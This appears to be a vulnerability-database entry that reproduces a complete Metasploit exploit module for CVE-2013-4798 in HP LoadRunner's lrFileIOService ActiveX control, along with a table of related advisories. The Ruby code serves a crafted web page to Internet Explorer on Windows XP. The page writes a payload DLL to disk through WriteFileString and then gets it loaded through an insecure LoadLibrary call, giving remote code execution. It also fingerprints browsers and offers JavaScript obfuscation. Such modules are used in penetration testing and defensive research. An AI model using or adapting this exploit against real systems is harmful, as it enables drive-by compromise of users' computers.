HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution

🗓️ 04 Sep 2013 00:00:00Reported by juan vazquezType

packetstorm🔗 packetstormsecurity.com👁 32 Views

HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution module exploits a vulnerability on the lrFileIOService ActiveX, allowing the user to write arbitrary files and drop a payload embedded in a dll.

Reporter	Title	Published	Views	Family All 17
0day.today	HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution	4 Sep 201300:00	–	zdt
Circl	CVE-2013-4798	4 Sep 201300:00	–	circl
Check Point Advisories	HP LoadRunner WriteFileString Directory Traversal - ver 2 (CVE-2013-4798)	22 Sep 201300:00	–	checkpoint_advisories
CVE	CVE-2013-4798	26 Jul 201318:00	–	cve
Cvelist	CVE-2013-4798	26 Jul 201318:00	–	cvelist
d2	DSquare Exploit Pack: D2SEC_LRWEB	29 Jul 201313:59	–	d2
Exploit DB	HP LoadRunner - lrFileIOService ActiveX WriteFileString Remote Code Execution (Metasploit)	4 Sep 201300:00	–	exploitdb
Metasploit	HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution	29 Aug 201319:09	–	metasploit
NVD	CVE-2013-4798	29 Jul 201313:59	–	nvd
Prion	Code injection	29 Jul 201313:59	–	prion

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::BrowserAutopwn  
include Msf::Exploit::EXE  
  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "6.0",  
:ua_maxver => "8.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:os_ver => OperatingSystems::WindowsVersions::XP,  
:rank => NormalRanking,  
:classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}",  
:method => "WriteFileString "  
})  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution",  
'Description' => %q{  
This module exploits a vulnerability on the lrFileIOService ActiveX, as installed  
with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method,  
which allow the user to write arbitrary files. It's abused to drop a payload  
embedded in a dll, which is later loaded through the Init() method from the  
lrMdrvService control, by abusing an insecure LoadLibrary call. This module has  
been tested successfully on IE8 on Windows XP. Virtualization based on the Low  
Integrity Process, on Windows Vista and 7, will stop this module because the DLL  
will be dropped to a virtualized folder, which isn't used by LoadLibrary.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Brian Gorenc', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-4798' ],  
[ 'OSVDB', '95642' ],  
[ 'BID', '61443'],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-207/' ],  
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ]  
],  
'Payload' =>  
{  
'Space' => 2048,  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic IE on Windows XP', {} ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Jul 24 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class)  
  
end  
  
# Just reminding the user to delete LrWeb2MdrvLoader.dll  
# because migration and killing the exploited process is  
# needed  
def on_new_session(session)  
print_status("New session... remember to delete LrWeb2MdrvLoader.dll")  
end  
  
def is_target?(agent)  
if agent =~ /Windows NT 5\.1/ and agent =~ /MSIE/  
return true  
end  
  
return false  
end  
  
def create_dll_js(object_id, dll_data)  
dll_js = ""  
first = true  
dll_data.each_char { |chunk|  
if first  
dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), false, \"UTF-8\");\n"  
first = false  
else  
dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), true, \"UTF-8\");\n"  
end  
}  
return dll_js  
end  
  
def load_exploit_html(cli)  
return nil if ((p = regenerate_payload(cli)) == nil)  
  
file_io = rand_text_alpha(rand(10) + 8)  
mdrv_service = rand_text_alpha(rand(10) + 8)  
dll_data = generate_payload_dll({ :code => p.encoded })  
drop_dll_js = create_dll_js(file_io, dll_data)  
  
html = %Q|  
<html>  
<body>  
<object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='#{file_io}'></object>  
<object classid='clsid:9EE336F8-04B7-4B9F-8421-B982E7A4785C' id='#{mdrv_service}'></object>  
<script language='javascript'>  
#{drop_dll_js}  
#{mdrv_service}.Init("-f #{rand_text_alpha(8 + rand(8))}", "#{rand_text_alpha(8 + rand(8))}");  
</script>  
</body>  
</html>  
|  
  
return html  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
uri = request.uri  
print_status("Requesting: #{uri}")  
  
# Avoid the attack if no suitable target found  
if not is_target?(agent)  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
html = load_exploit_html(cli)  
if html.nil?  
send_not_found(cli)  
return  
end  
html = html.gsub(/^\t\t/, '')  
print_status("Sending HTML...")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
end`

04 Sep 2013 00:00Current

0.7Low risk

Vulners AI Score0.7

EPSS0.83193